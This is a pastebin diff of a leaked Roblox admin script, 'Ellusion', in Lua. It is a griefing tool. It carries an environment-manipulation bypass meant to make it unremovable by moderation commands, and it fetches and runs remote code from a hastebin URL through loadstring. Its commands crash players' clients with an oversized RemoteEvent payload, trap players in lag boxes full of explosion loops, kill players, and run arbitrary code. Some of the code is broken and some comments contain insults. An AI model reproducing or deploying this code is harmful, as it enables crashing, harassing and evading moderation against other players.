View difference between Paste ID: Rf0RRfcQ and yPN5P6Z3
SHOW: | | - or go back to the newest paste.
1
--[[Hello this is Dr_Coton someone has took my script and they are going to leak it]]--
2
--[[So why not just leak it before they trade it?]]--
3
--[[Have fun with it]]--
4
--[[Leaked by Dr_Coton]]--
5
6
wait()
7
8
script.Name = 'script'
9
10
--[[Bypass]]--
11
if game.PlaceId == 178350907 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end
12
if script ~= true then
13
print("Unremoveable Test Completed! Works! This script is immune to g/nol/all or g/nos/all!")
14
else
15
print("Unremoveable Test Failed! This script is removable by g/nol/all or g/nos/all!")
16
end
17
-------------
18
local Ellusion
19
20
loadstring(game:GetService("HttpService"):GetAsync("https://hastebin.com/raw/fixiduniya.lua"))()
21
22
Ellusion = {
23
          Functions = {};
24
          Services = {};
25
          Ranked = {
26-
                    {Name = 'zombieherobrine123', Rank = 7, Reason = 'Creator', Color = 'Really black'};
26+
                    {Name = 'retram', Rank = 7, Reason = 'Creator', Color = 'Really black'};
27
                    {Name = 'Aviatorr', Rank = -1, Reason = 'fuck off', Color = 'Bright blue'};
28
                    {Name = 'Dogeness33', Rank = 6, Reason = 'Friend', Color = 'Really red'};
29
                    {Name = 'NatsuiDragonslayer', Rank = 5, Reason = 'Friend', Color = 'Deep blue'};
30
                    {Name = 'nornorm', Rank = 7, Reason = 'Tester', Color = 'Really red'};
31
                    {Name = 'MRePotatoes', Rank = 5, Reason = 'Friend', Color = 'Magenta'};
32
                    {Name = 'woodguy50', Rank = -1, Reason = 'fuckoff', Color = 'Bright blue'};
33
                    {Name = 'n00bahkiin2', Rank = 7, Reason = 'Gave me his Visualzier', Color = 'White'};
34
                    {Name = 'HttpZen', Rank = 5, Reason = 'Friend', Color = 'White'};
35
                    {Name = 'coldnick5', Rank = 7, Reason = 'Good Friend', Color = 'Really red'};
36
                    {Name = 'Injectioneer', Rank = 7, Reason = 'gud nice friend', Color = 'Parsley green'};
37
                    {Name = 'TheFlamingBlaster', Rank = 7, Reason = 'Good Friend/Good Scripter', Color = 'White'};
38
                    {Name = 'PapiSwagGamez', Rank = 7, Reason = 'gud dood', Color = 'White'};
39
                    {Name = 'TechnoSpirits', Rank = 7, Reason = 'Friend', Color = 'White'};
40
                    {Name = 'YourNightmareUser', Rank = 7, Reason = 'Alternative Accont', Color = 'White'};
41
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
42
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
43
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
44
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
45
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
46
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
47
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
48
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
49
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
50
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
51
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
52
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};
53
                    {Name = 'empty1', Rank = 0, Reason = 'Friend', Color = 'White'};                    
54
                    
55
          }; 
56
          Players = {};
57
          Prefix = ".";
58
          Rotation = 0;
59
          Tablets = {};
60
          Commands = {};
61
          Ranks = {
62
                    [7] = "Rank 7";
63
                    [6] = "Rank 6";
64
                    [5] = "Rank 5";
65
                    [4] = "Rank 4";
66
                    [3] = "Rank 3";
67
                    [2] = "Rank 2";
68
                    [1] = "Rank 1";
69
                    [0] = "Rank 0";
70
                    [-1] = "Banned";
71
          }; 
72
}
73
Ellusion.Services = {
74
 Http = game:GetService('HttpService');
75
 Workspace = game:service'Workspace';--//or game:service'Workspace';
76
 Players = game:service'Players';
77
 MarktPlace = game:service'MarketplaceService';
78
}
79
80
81
82
Ellusion.Functions.AddRank = function(Name, Reason, Rank, Color)
83
          table.insert(Ellusion.Ranked,{Name = Name, Reason = Reason, Rank = Rank, Color = Color})
84
end 
85
86
Ellusion.Functions.GetColor = function(plr)
87
          if type(plr) == "userdata" then
88
                      plr = plr.Name
89
              elseif type(plr) == "string" then
90
                      plr = plr
91
              else
92
                      plr = tostring(plr)
93
          end 
94
          for Index, Value in pairs(Ellusion.Ranked) do
95
                      if Value.Name == plr then
96
                                 return Value.Color
97
                      end 
98
          end 
99
          return 'White'
100
end 
101
102
103
Ellusion.Functions.GetRank = function(plr)
104
          if type(plr) == "userdata" then
105
                      plr = plr.Name
106
              elseif type(plr) == "string" then
107
                      plr = plr
108
              else
109
                      plr = tostring(plr)
110
          end 
111
          for Index, Value in pairs(Ellusion.Ranked) do
112
                      if Value.Name == plr then
113
                                 return Value.Rank
114
                      end 
115
          end 
116
          return 0
117
end 
118
119
120
121
122
Ellusion.Functions.Output = function(Player, Text, Color, Func)
123
        if Text == nil then Text = Text end
124
        Text = '\n'..Text
125
        if Color == nil then Color = 'Really black' end
126
    local Output=Instance.new('Part',workspace)
127
        Output.Anchored = true
128
        Output.CanCollide = false
129
        Output.TopSurface = 'Smooth'
130
        Output.BottomSurface = 'Smooth'
131
        Output.Transparency = .0
132
        Output.FormFactor = 'Custom'
133
        Output.Name = 'Ellusion'
134
        Output.Parent = game.Workspace
135
        Output.Anchored = true
136
        Output.Size = Vector3.new(1.5, 1.5, 1.5)
137
        pcall(function() Output.CFrame = Player.Character.Torso.CFrame end)
138
        Output.BrickColor = BrickColor.new(Color)
139
        Output.Material = 'Neon'
140
        --//Output.Size = Vector3.new(2.5, 2.5, 2.5)
141
        
142
        local Light=Instance.new('PointLight',Output)
143
         Light.Brightness = 10000000
144
     
145
     local SBox = Instance.new("SelectionBox", Output)
146
     SBox.Adornee = Output
147
     SBox.Transparency = 0
148
     SBox.LineThickness = 0.000
149
     SBox.Color = BrickColor.new(Color)
150
151
      local Gui = Instance.new("BillboardGui", Output)
152
      Gui.Adornee = Output
153
      Gui.Size = UDim2.new(1, 0, 1, 0)
154
      Gui.StudsOffset = Vector3.new(0, 3, 0)
155
      local TLabel = Instance.new("TextLabel", Gui)
156
      TLabel.Text = Text
157
      TLabel.TextStrokeTransparency = 0
158
      TLabel.Transparency = 1
159
      TLabel.Font = 'SourceSansBold'
160
      TLabel.FontSize = 'Size24'
161
      TLabel.TextTransparency = 0
162
      TLabel.Size = UDim2.new(1, 0, 1, 0)
163
      TLabel.TextColor3 = Output.Color
164
      TLabel.BorderColor3 = Color3.new(0, 0, 0)
165
      local ClickD = Instance.new("ClickDetector", Output)
166
      ClickD.MaxActivationDistance = 1/0
167
      ClickD.MouseClick:connect(function(p)
168
              if p.Name == Player.Name or Ellusion.Functions.GetRank(p) > Ellusion.Functions.GetRank(Player) then
169
                                Output:Destroy()
170
                                for i,v in pairs(Ellusion["Tablets"]) do
171
                                        if v.Name == Output.Name then
172
                                                table.remove(Ellusion["Tablets"], i)
173
                                        end
174
                                end
175
                                if Func ~= nil then
176
                                        a,b = ypcall(function()
177
                                                Func()
178
                                        end) if not a then Ellusion.Functions.Output(b,"Really red") end
179
                                end
180
                        end
181
                end)
182
                --[[for Size = 2.5,3,0 do
183
                          Output.Size = Vector3.new(Size, Size, Size)--//woops
184
                end]]--
185
                
186
      table.insert(Ellusion.Tablets,{Tab = Output, Text = TLabel, Player = Player, Box = Sel})
187
end 
188
189
local stime = tick()
190
191
local starttime = tick()
192
193
Ellusion.Functions.RotateTabs = function()
194
local Rotation = Ellusion.Rotation
195
Rotation = Ellusion.Rotation+(0.5/360)
196
for _,Player in pairs(game:service'Players':GetPlayers()) do
197
local Counter = 0
198
local PlayerTablets = {}
199
for i,v in pairs(Ellusion.Tablets) do
200
if v.Tab.Parent ~= nil and v.Player == Player then
201
table.insert(PlayerTablets,v)
202
end;end;
203
local Start = CFrame.new(0,0,0)
204
for I = 1, #PlayerTablets do
205
local radius = (#PlayerTablets*.6)+1
206
local Pos = nil
207
pcall(function() Pos = Player.Character.Torso.CFrame end)
208
if Pos == nil then return end
209
local Main = (I / #PlayerTablets - (0.3 / #PlayerTablets) + Ellusion.Rotation/(#PlayerTablets/7)) * math.pi * 2
210
local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*I) * (#PlayerTablets+2)
211
local y = math.sin(tick()+I)*.75;
212
local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*I) * (#PlayerTablets+2)
213
local aPos = Vector3.new(x, y, z) + Pos.p
214
local bPos = PlayerTablets[I].Tab.CFrame.p
215
local cPos = (aPos * .1 + bPos * .9)
216
PlayerTablets[I].Tab.CFrame = CFrame.new(cPos, Pos.p)
217
local d = math.rad((Rotation * 300)*math.pi);
218
PlayerTablets[I].Tab.CFrame = CFrame.new(cPos,Pos.p)*CFrame.Angles(math.rad(tick()),math.rad(tick()),math.rad(tick())) --//Somethings Wrong with search sounds
219
end;end;end;
220
221
Ellusion.Functions.AddCommand = function(Name, Say, Desc, Rank, Func)
222
          Ellusion.Commands[Name] = {Name = Name, Say = Say, Desc = Desc, Rank = Rank, Func = Func}
223
end  
224
--//LET ME
225
226
227
Ellusion.Functions.GetRanked = function(Self)
228
        Ellusion.Functions.Dismiss(Self)
229
        for i,v in pairs(Ellusion.Ranked) do
230
                wait()
231
                 Ellusion.Functions.Output(Self, v['Name']..' ('..v['Rank']..')', 'Bright blue', true,function()
232
                        Ellusion.Functions.Dismiss(Self)
233
                        if Ellusion.Ranked[Self.Name]['Rank'] > Ellusion.Ranked[Self.Name]['Rank'] then
234
                                Ellusion.Functions.Output(Self, 'Set Rank', 'Bright blue', false,function()
235
                                        Ellusion.Functions.Dismiss(Self)
236
                                        for i=-1, Ellusion.Ranked[Self.Name]['Rank'] do
237
                                                Ellusion.Functions.Output(Self, 'Set rank to'..i, 'White', false,function()
238
                                                        Ellusion.Functions.Dismiss(Self)
239
                                                        v['Rank'] = i
240
                                                        Ellusion.Functions.Output(Self, v['Name'].."'s rank has been set to "..i, 'White', true)
241
                                                end)
242
                                        end
243
                                end)
244
                        end
245
                        Ellusion.Functions.Output(Self,'Name: '..v['Name'], 'Bright Blue', false)
246
                        Ellusion.Functions.Output(Self,'Desc: '..v['Desc'], 'Bright Blue', false)
247
                                          Ellusion.Functions.Output(Self, 'Add to Pri', function()
248
                                                                                                              Ellusion.Pri_List[v['Name']] = true
249
                                                                                                              end)
250
                        if game.Players:FindFirstChild(v['Name']) then
251
                                Ellusion.Functions.Output(Self,'AccountAge: '..game.Players:FindFirstChild(v['Name']).AccountAge, 'Bright blue', false)
252
                                Ellusion.Functions.Output(Self,'UserID: '..game.Players:FindFirstChild(v['Name']).userId, 'Bright blue', false)
253
                              
254
                                                               
255
                        end
256
                end)
257
        end
258
end
259
260
Ellusion.Functions.SoundSearch = function(Plr,Name)
261
        Ellusion.Functions.Dismiss(Plr)
262
        Ellusion.Functions.Output(Plr, 'Searching For: '..Name, 'Black', true)
263
         wait(1.5)
264
         Ellusion.Functions.Dismiss(Plr)
265
        local Get = Ellusion.Services.Http:GetAsync('http://roblox-proxy.cf/catalog/json?Category=9&Keyword='..Name)
266
        local Songs = Ellusion.Services.Http:JSONDecode(Get)
267
        local i = 1
268
        repeat
269
                local SongName  = string.gsub(Songs[i].Name,"'","'")
270
                local ID = Songs[i].AssetId
271
                local SongDesc = Songs[i].Description
272
                local Creator = Songs[i].Creator
273
                Ellusion.Functions.Output(Plr, SongName,'White',false,function()
274
                        Ellusion.Functions.Dismiss(Plr)
275
                        Ellusion.Functions.Output(Plr, 'Song name: '..SongName,'Black', false,nil)
276
                        Ellusion.Functions.Output(Plr,  'Description: '..SongDesc,'Black', false,nil)
277
                        Ellusion.Functions.Output(Plr, 'Creator: '..Creator,'Black', false,nil)
278
                           Ellusion.Functions.Output(Plr, 'Sound Settings','Lime green',true, function()
279
                           Ellusion.Functions.Dismiss(Plr)
280
                           
281
                                Ellusion.Functions.Output(Plr, 'Set Pitch | 2','Lime green',true, function()
282
                                Sound.Pitch = 2
283
                            end)
284
                                Ellusion.Functions.Output(Plr, 'Set Pitch | 1','Lime green',true, function()
285
                                Sound.Pitch = 1
286
                                end)
287
                                Ellusion.Functions.Output(Plr, 'High Volume','Lime green',true, function()
288
                                        Sound.Volume = 10
289
                                end)
290
                                Ellusion.Functions.Output(Plr, 'Normal Volume','Lime green',true, function()
291
                                        Sound.Volume = 1
292
                                end)
293
                                Ellusion.Functions.Output(Plr, 'Loop Sound','Lime green',true, function()
294
                                        Sound.Looped = true
295
                                end)
296
                                Ellusion.Functions.Output(Plr, 'StopLoop','Lime green',true, function()
297
                                        Sound.Looped = false
298
                                end)
299
                            
300
                        end)
301
                        
302
                        
303
                                Ellusion.Functions.Output(Plr, 'Stop Sounds','Really red', true,function()
304
                                        Sound:Stop()
305
                                       end)
306
                                
307
                        Ellusion.Functions.Output(Plr, 'Play','White', true,function()
308
                             Sound = Instance.new('Sound')
309
                                Sound.SoundId = 'http://www.roblox.com/asset/?id='..ID
310
                                Sound:Play()
311
                                Sound.Parent = workspace
312
                                wait()
313
                                Sound:Play()
314
                                                        end)
315
                end)
316
                wait()
317
                i = i + 1
318
        until i == 20 or i == #Songs
319
end
320
321
for _,Player in pairs(game:GetService("Players"):GetPlayers()) do
322
           Ellusion.Functions.Output(Player, "Welcome to Ellusion", "Really red")
323
           Ellusion.Functions.Output(Player, "Ellusion Is Now Running Anti-Fm", "Really red")
324
           Ellusion.Functions.Output(Player, "Ellusion Is Created By DrCoton", "Really red")
325
           Ellusion.Functions.Output(Player, "Updates: Due to some moron, I won't be running Ellusion Anymore", "Really red")
326
           Ellusion.Functions.Output(Player, "Your Rank : " ..Ellusion.Functions.GetRank(Player))
327
           Ellusion.Functions.Output(Player, "Ellusion Took "..stime.." to start.", "Megenta")
328
           Ellusion.Functions.Output(Player, "Join The Discord! |https://discord.gg/PvcTv74|", "White")
329
           Ellusion.Functions.Output(Player, "The Current Bet Is  .", "Lime green")
330
           Player.Chatted:connect(function(message)
331
                       Ellusion.Functions.OnChatted(Player, message)
332
           end) 
333
end
334
335
Ellusion.Functions.OnChatted = function(plr, msg)
336
          for i,v in pairs(Ellusion.Commands) do
337
                      if msg:lower():sub(1,#v['Say']+#Ellusion.Prefix) == v['Say']..Ellusion.Prefix then
338
                               if Ellusion.Functions.GetRank(plr) >= v.Rank then
339
                                         msg=msg:sub(1+#v['Say']+#Ellusion.Prefix)
340
                                         a,b=ypcall(function()
341
                                                     v['Func'](plr, msg)
342
                                         end) if not a then warn(b) end
343
                                         else
344
                                               Ellusion.Functions.Output(plr, "Your Rank is too low to execute rank : "..v['Rank']..' Command', 'Really red')
345
                                               wait(3)
346
                                               Ellusion.Functions.Dismiss(plr)
347
                               end 
348
                      end 
349
          end 
350
end 
351
352
Ellusion.Functions.GetPlayers=function(plr, msg, all)
353
        local plrs = {}
354
        if msg:match("^!") then
355
                return Ellusion.Functions.GetPlayers(plr, msg:sub(2), true)
356
        elseif msg == "me" then
357
                table.insert(plrs, plr)
358
        elseif msg == "all" then
359
                for _,v in pairs(game:service'Players':players()) do
360
                        if all or Ellusion.Functions.GetRank(v) <= Ellusion.Functions.GetRank(plr) then
361
                                table.insert(plrs, v)
362
                        end
363
                end
364
        elseif msg == "others" then
365
                for _,v in pairs(game:service'Players':players()) do
366
                        if v ~= plr then
367
                                if all or Ellusion.Functions.GetRank(v) <= Ellusion.Functions.GetRank(plr) then
368
                                        table.insert(plrs, v)
369
                                end
370
                        end
371
                end
372
        else
373
                for _,v in pairs(game:service'Players':players()) do
374
                        if v.Name:lower():sub(1,#msg) == msg:lower() then
375
                                if all or Ellusion.Functions.GetRank(v) <= Ellusion.Functions.GetRank(plr) then
376
                                        table.insert(plrs, v)
377
                                end
378
                        end
379
                end
380
     end
381
     return plrs
382
end
383
 
384
385
Ellusion.Functions.Dismiss = function(plr)
386
          for i,v in pairs(Ellusion.Tablets) do
387
                      if v.Player == plr then
388
                                v.Tab:Destroy()
389
                      end 
390
          end 
391
end 
392
393
Ellusion.Functions.LagBox = function(Plr)
394
model = Instance.new("Model")
395
model.Name = "Circle"
396
model.Parent = game.Workspace
397
398
399
                    Plr.CameraMode=Enum.CameraMode.LockFirstPerson 
400
                    
401
402
position = CFrame.new(0, 1, 0)
403
number = 1000
404
radius = 10
405
size = Vector3.new(2.2,500,0.2)
406
407
script.Name = 'Lag_Room'
408
409
m=Instance.new('Hint',Plr.PlayerGui)
410
m.Text = 'LagB0x has began!'
411
412
413
for i=1, number, 10 do
414
part = Instance.new("Part",workspace.Base)
415
Plr.Character.Torso.CFrame = CFrame.new(part.Position)
416
part.Anchored = true
417
part.BrickColor = BrickColor.new('Magenta')
418
part.Material = 'Neon'
419
part.Locked = true
420
part.Transparency = .5
421
part.formFactor = "Custom"
422
part.Parent = model
423
part.Size = size
424
sine = math.sin((360/number + 360/number*i)/(180/math.pi))
425
cosine = math.cos((360/number + 360/number*i)/(180/math.pi))
426
part.CFrame = position + Vector3.new(radius*sine, 0, radius*cosine)
427
--part.CFrame = CFrame.Angles(math.rad(i),math.rad(i),math.rad(i))
428
wait()
429
end
430
431
while wait() do
432
w0=Instance.new('Explosion',part)
433
w1=Instance.new('Explosion',part)
434
w2=Instance.new('Explosion',part)
435
w3=Instance.new('Explosion',part)
436
w4=Instance.new('Explosion',part)
437
w5=Instance.new('Explosion',part)
438
w6=Instance.new('Explosion',part)
439
end
440
while wait() do
441
f1=Instance.new('ForceField',plr)
442
f2=Instance.new('ForceField',plr)
443
f3=Instance.new('ForceField',plr)
444
f4=Instance.new('ForceField',plr)
445
f5=Instance.new('ForceField',plr)
446
f6=Instance.new('ForceField',plr)
447
end
448
end
449
450
451
Lightning = function(Start,End,Times,Offset,Color,Thickness,Transparency)
452
    local magz = (Start - End).magnitude local curpos = Start local trz = {-Offset,Offset}
453
    for i=1,Times do 
454
        local li = Instance.new("Part",workspace) li.TopSurface =0 li.BottomSurface = 0 li.Anchored = true  li.Transparency = Transparency or 0.4 li.BrickColor = BrickColor.new(Color)
455
        li.formFactor = "Custom" li.CanCollide = false li.Size = Vector3.new(Thickness,Thickness,magz/Times) local ofz = Vector3.new(trz[math.random(1,2)],trz[math.random(1,2)],trz[math.random(1,2)]) 
456
        function touch(hit) 
457
                if hit.Parent:findFirstChild("Humanoid") ~= nil then 
458
                hit.Parent:BreakJoints()
459
                end end li.Touched:connect(touch)
460
                local trolpos = CFrame.new(curpos,End)*CFrame.new(0,0,magz/Times).p+ofz
461
        if Times == i then 
462
            local magz2 = (curpos - End).magnitude li.Size = Vector3.new(Thickness,Thickness,magz2)
463
            li.CFrame = CFrame.new(curpos,End)*CFrame.new(0,0,-magz2/2)
464
        else
465
            li.CFrame = CFrame.new(curpos,trolpos)*CFrame.new(0,0,magz/Times/2)
466
        end
467
        curpos = li.CFrame*CFrame.new(0,0,magz/Times/2).p game.Debris:AddItem(li,0.25)
468
    end
469
end
470
471
Ellusion.Functions.Kick = function(Plr)
472
            local h=Instance.new('RemoteEvent',workspace):FireClient(Plr,{string.rep("get owned lold",2e5+5)}) 
473
        delay(3,function()
474
                pcall(function()
475
                        h:remove() 
476
                end)
477
        end)
478
end
479
480
Ellusion.Functions.OpenCommands = function(Speaker, rank)
481
                    Ellusion.Functions.Dismiss(Speaker)
482
          table.foreach(Ellusion.Commands,function(i,v)
483
                  if v['Rank'] <= rank then
484
                      Ellusion.Functions.Output(Speaker, v.Name, Ellusion.Functions.GetColor(v), function()
485
                                Ellusion.Functions.Dismiss(Speaker)
486
                                Ellusion.Functions.Output(Speaker, "Name : " ..v.Name, Ellusion.Functions.GetColor(v))
487
                                Ellusion.Functions.Output(Speaker, "Usage : " ..v.Say..Ellusion.Prefix, Ellusion.Functions.GetColor(v))
488
                                Ellusion.Functions.Output(Speaker, "Desc : " ..v.Desc, Ellusion.Functions.GetColor(v))
489
                                Ellusion.Functions.Output(Speaker, "Rank : " ..v.Rank, Ellusion.Functions.GetColor(v))
490
                                Ellusion.Functions.Output(Speaker, "Dismiss", "Really red", function() Ellusion.Functions.Dismiss(Speaker) end)
491
                                
492
                           end) 
493
                      end
494
          end) 
495
end 
496
497
Ellusion.Functions.Test = function(Speaker, Msg)
498
	Ellusion.Functions.Output(Speaker, 'Ellusion is running.','Deep blue',nil)
499
	Ellusion.Functions.Output(Speaker, 'Ellusion ','Hot pink',nil)
500
	Ellusion.Functions.Outpue(Speaker, 'Dismiss','Really red', function()
501
		Ellusion.Functions.Dismiss()
502
	end)
503
end
504
505
Ellusion.Functions.AddCommand('Ranked','ranked','Shows all ranked players.',1,function(Speaker)
506
    Ellusion.Functions.GetRanked(Speaker)
507
    end)
508
509
Ellusion.Functions.AddCommand('Show commands','cmds','Opens all commands',0,function(Player, Msg)
510
    Ellusion.Functions.Dismiss(Player, Msg)
511
          Ellusion.Functions.Output(Player, "Open commands that are avaiable.", "Really red", function() Ellusion.Functions.OpenCommands(Player,Ellusion.Functions.GetRank(Player)) end)
512
          for i = 0,7 do
513
                     Ellusion.Functions.Output(Player, " " ..Ellusion.Ranks[i].. " Commands", Ellusion.Functions.GetColor(Player), function() Ellusion.Functions.Dismiss(Player) Ellusion.Functions.OpenCommands(Player, i) end)
514
          end 
515
          Ellusion.Functions.Output(Player, "Your Rank : " ..Ellusion.Functions.GetRank(Player),"Teal")
516
          Ellusion.Functions.Output(Player, "Dismiss", "Really red", function() Ellusion.Functions.Dismiss(Player) end)
517
end) 
518
519
520
Ellusion.Functions.AddCommand('Char','ch','Chars you to the said player ID.',2,function(Plr,Txt)
521
Plr.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Txt
522
Plr:LoadCharacter()
523
end)
524
525
Ellusion.Functions.AddCommand('Test','tst','Tests to see if the script is running',0,function(Speaker)
526
	Ellusion.Functions.Dismiss(Speaker)
527
        Ellusion.Functions.Output(Speaker, 'Checking Ellusion If Its Online..','Really red',function()                
528
                Ellusion.Functions.Dismiss(Speaker)
529
                Ellusion.Functions.Output(Speaker, 'Ellusion Admin Is Up! Do cmds. To Open Commands!','New Yellow',true)                
530
                Ellusion.Functions.Output(Speaker, 'Dismiss','Really red',function()
531
                        Ellusion.Functions.Dismiss(Speaker)
532
                end)
533
        end)
534
end)
535
536
Ellusion.Functions.AddCommand('Ban','ban','Bans the said player from the server.',4,function(Plr,Txt)
537
    Ellusion.Functions.Dismiss(Plr)
538
        local plrs = Ellusion.Functions.GetPlayers(Plr, Txt)
539
        for i,v in pairs(plrs) do
540
                if v then
541
                    wait(.1)
542
                        Ellusion.Functions.Kick(v)
543
                        Ellusion.Ranked[v.Name]['Rank'] = -1
544
                        Ellusion.Ranked[v.Name]['Reason'] = 'Banned via ban command. {Temp}'
545
                end
546
        end
547
end)
548
549
Ellusion.Functions.AddCommand('Dismiss','dt','Dismisses your tablet.',0,function(Speaker, Msg)
550
           Ellusion.Functions.Dismiss(Speaker)
551
end) 
552
553
Ellusion.Functions.AddCommand('LagBox', 'lbox','Lags a player inside a box.',6, function(Plr, Txt)
554
        local plrs = Ellusion.Functions.GetPlayers(Plr, Txt)
555
        for i,v in pairs(plrs) do
556
                if v then
557
            Ellusion.Functions.Output(Plr,'Lagging '..v.Name..'With lagBox','Really red', true)
558
               Ellusion.Functions.LagBox(v)
559
               Plr.AncestryChanged:connect(function(child, parent)
560
        Ellusion.Functions.Output(Plr, v.Name..'Has Crashed from LagBox.','Really red', true)
561
end)
562
            end
563
            end
564
        end)
565
566
Ellusion.Functions.AddCommand('Dismiss all','dall','Dismsises everyones tabs.',4,function(Speaker, Msg)
567
          for i,v in pairs(game:GetService('Players'):GetPlayers()) do
568
                     Ellusion.Functions.Dismiss(v)
569
          end 
570
end) 
571
572
Ellusion.Functions.AddCommand('Smoke','smoke','Gives a player smoke',2,function(Speaker, Msg)
573
          local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
574
          for i,v in pairs(gPlayers) do
575
                      if v then
576
                                Instance.new("Smoke", v.Character)
577
                      end 
578
          end 
579
end) 
580
581
Ellusion.Functions.AddCommand('Bright','bright','Makes The Server Really Bright',5,function(Speaker, Msg)
582
          local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
583
          game.Lighting.TimeOfDay = 14
584
          game.Lighting.Ambient = Color3.new(100,100,100)
585
          game.Lighting.OutdoorAmbient = Color3.new(100,100,100)
586
         end)
587
588
Ellusion.Functions.AddCommand('Kill','kill','Kills a player',2,function(Speaker, Msg)
589
Ellusion.Functions.Dismiss(Speaker)
590
           local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
591
           for i,v in pairs(gPlayers) do
592
                        if v then
593
                                   pcall(function()
594
                                               v.Character:BreakJoints()
595
                                   end) 
596
                        end 
597
           end 
598
end) 
599
600
Ellusion.Functions.AddCommand('Execute','exe','Executes a message.',5,function(Speaker, Msg)
601
Ellusion.Functions.Dismiss(Speaker, Msg)
602
           local loadstring_message=loadstring(Msg)
603
           if(loadstring_message) then
604
                        a,b=ypcall(function()
605
                                   loadstring_message(Msg);
606
                        end) 
607
                        if not a then
608
                                  
609
                        end  
610
           end 
611
end) 
612
613
Ellusion.Functions.AddCommand('Music List','mlist','Music That Is Already In The Admin(Adding More And More Music.',1,function(Speaker, Msg)
614
         Ellusion.Functions.Dismiss(Speaker)
615
        Ellusion.Functions.Output(Speaker, 'Loading Music List..','Really red',function()                
616
                Ellusion.Functions.Dismiss(Speaker)
617
                Ellusion.Functions.Output(Speaker, 'Music List Is still In Development(Stay Tuned For More Upadtes!)','New Yellow',true)
618
                Ellusion.Functions.Output(Speaker, 'Dismiss','Really red',function()                                
619
                        Ellusion.Functions.Dismiss(Speaker)
620
                end)
621
        end)
622
end)
623
624
Ellusion.Functions.AddCommand('Kick','kick','Kicks a player from game.',6,function(Speaker, Msg)
625
          local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
626
          for i,v in pairs(gPlayers) do
627
                      if v then
628
                                Ellusion.Functions.Kick(v)
629
                      end 
630
          end
631
        end)
632
633
Ellusion.Functions.AddCommand('Disco','disco','Makes the whole place disco fog',4,function(Speaker, Msg)
634
    local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
635
    local lighting = game.Lighting
636
    local random = math.random()
637
    lighting.FogEnd = "100"
638
    lighting.FogStart = "1"
639
    while true do
640
    wait(0.5)
641
    lighting.FogColor = Color3.new(math.random(), math.random(), math.random())
642
    end
643
end)
644
645
Ellusion.Functions.AddCommand('Dark','dark','Makes The Whole Game Dark',4,function(Speaker, Msg)
646
          local gPlayers=Ellusion.Functions.GetPlayers(Speaker,Msg)
647
          game.Lighting.TimeOfDay = 0
648
          game.Lighting.Ambient = Color3.new(0,0,0)
649
          game.Lighting.OutdoorAmbient = Color3.new(0,0,0)
650
         end)     
651
652
Ellusion.Functions.AddCommand('Night','night','Turns The Sky Into A Night Sky',4,function(Speaker, Msg)
653
          local gPlayers=Ellusion.Functions.GetPlayers(Speaker,Msg)
654
          game.Lighting.TimeOfDay = 0
655
       end) 
656
657
Ellusion.Functions.AddCommand('Day','day','Turns The Sky Into Day',4,function(Speaker, Msg)
658
          local gPlayers=Ellusion.Functions.GetPlayers(Speaker,Msg)
659
          game.Lighting.TimeOfDay = 14
660
       end)
661
662
Ellusion.Functions.AddCommand('dfix','dfix','Fixes The Time And Fog To Normal',5,function(Speaker, Msg)
663
          local gPlayers=Ellusion.Functions.GetPlayers(Speaker,Msg)
664
          game.Lighting.TimeOfDay = 14
665
          game.Lighting.Ambient = Color3.new(1,1,1)
666
          game.Lighting.OutdoorAmbient = Color3.new(0.5,0.5,0.5)
667
       end)   
668
669
Ellusion.Functions.AddCommand('Forcefield','ff','Gives you forcefield to a player.',2,function(Speaker, Msg)
670
          local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
671
          for i,v in pairs(gPlayers) do
672
                      if v then
673
                                Instance.new("ForceField", v.Character)
674
                      end 
675
          end 
676
end) 
677
678
Ellusion.Functions.AddCommand('Freeze','freeze','Makes the player frozen.',3,function(Speaker, Msg)
679
          local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
680
          for i,v in pairs(gPlayers) do
681
                      if v then
682
                                v.Character.Torso.Anchored = true
683
                      end 
684
          end 
685
end) 
686
687
Ellusion.Functions.AddCommand('Thaw','thaw','Makes the player unfrozen.',3,function(Speaker, Msg)
688
          local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
689
          for i,v in pairs(gPlayers) do
690
                      if v then
691
                                v.Character.Torso.Anchored = false
692
                      end 
693
          end 
694
end) 
695
696
Ellusion.Functions.AddCommand('UnGod','ungod','Ungods a plr',2, function(Plr,Txt)
697
        local plrs = Ellusion.Functions.GetPlayers(Plr, Txt)
698
        for i,v in pairs(plrs) do
699
                if v and v.Character and v.Character.Humanoid then
700
                        v.Character.Humanoid.MaxHealth = 100
701
                end 
702
        end
703
end)
704
705
Ellusion.Functions.AddCommand('Smite','smite','Heres how to kill people #Ded',6,function(Plr, Txt)
706
                local plrs = Ellusion.Functions.GetPlayers(Plr, Txt)
707
        for i,v in pairs(plrs) do
708
                if v and v.Character then
709
                        Lightning(v.Character.Torso.Position+Vector3.new(0,50,0),v.Character.Torso.Position,3,math.random(-2.5,2.5),"New Yeller",.4,.4)
710
                        Instance.new("Explosion",v.Character.Torso).Position=v.Character.Torso.Position
711
